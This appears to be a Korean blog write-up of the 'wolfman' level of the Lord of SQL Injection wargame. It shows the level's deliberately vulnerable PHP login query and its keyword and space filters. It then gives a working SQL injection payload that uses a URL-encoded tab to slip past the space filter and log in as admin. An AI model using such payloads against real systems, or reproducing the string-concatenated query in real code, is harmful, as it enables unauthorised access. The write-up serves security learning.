반응형
los의 늑대인간을 처리해보자.
기본 쿼리문 및 소스코드는 아래와 같다.
소스코드를 살펴보자.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("wolfman");
highlight_file(__FILE__);
?>
이번 문제는 고블린 때와 비슷하게 id는 guest로 고정되어 있는데 조회된 id 값이 admin이 되어야 한다.
preg_match로 스페이스가 필터링 되어 있는데, 스페이스 말고 다른 공백 문자를 쓰면된다. 이번 문제에는 탭을 써서 해결했다.
참고로, 화이트 스페이스(공백)에는 스페이스 말고도 탭 등 총 6가지의 종류가 있다.
https://thewiki.kr/w/화이트스페이스#toc
아래의 방법으로 해결할 수 있었다.
pw: 'or id='admin
url: ?pw=%27or%09id=%27admin
query : select id from prob_wolfman where id='guest' and pw=''or id='admin'
고블린 문제랑 유사하게 guest부분을 거짓으로 만들어 우회가 가능하고, 스페이스 필터링은 탭으로 대체할 수 있었다.
반응형
'해킹 > LoS(Lord of SQL Injection)' 카테고리의 다른 글
[Los] orge 풀이 (0) | 2022.06.12 |
---|---|
[Los] darkelf 풀이 (0) | 2022.06.11 |
[Los] orc 풀이 (작성 중) (0) | 2022.06.10 |
[Los] goblin 풀이 (1) | 2022.06.09 |
[Los] cobolt 풀이 (0) | 2022.06.08 |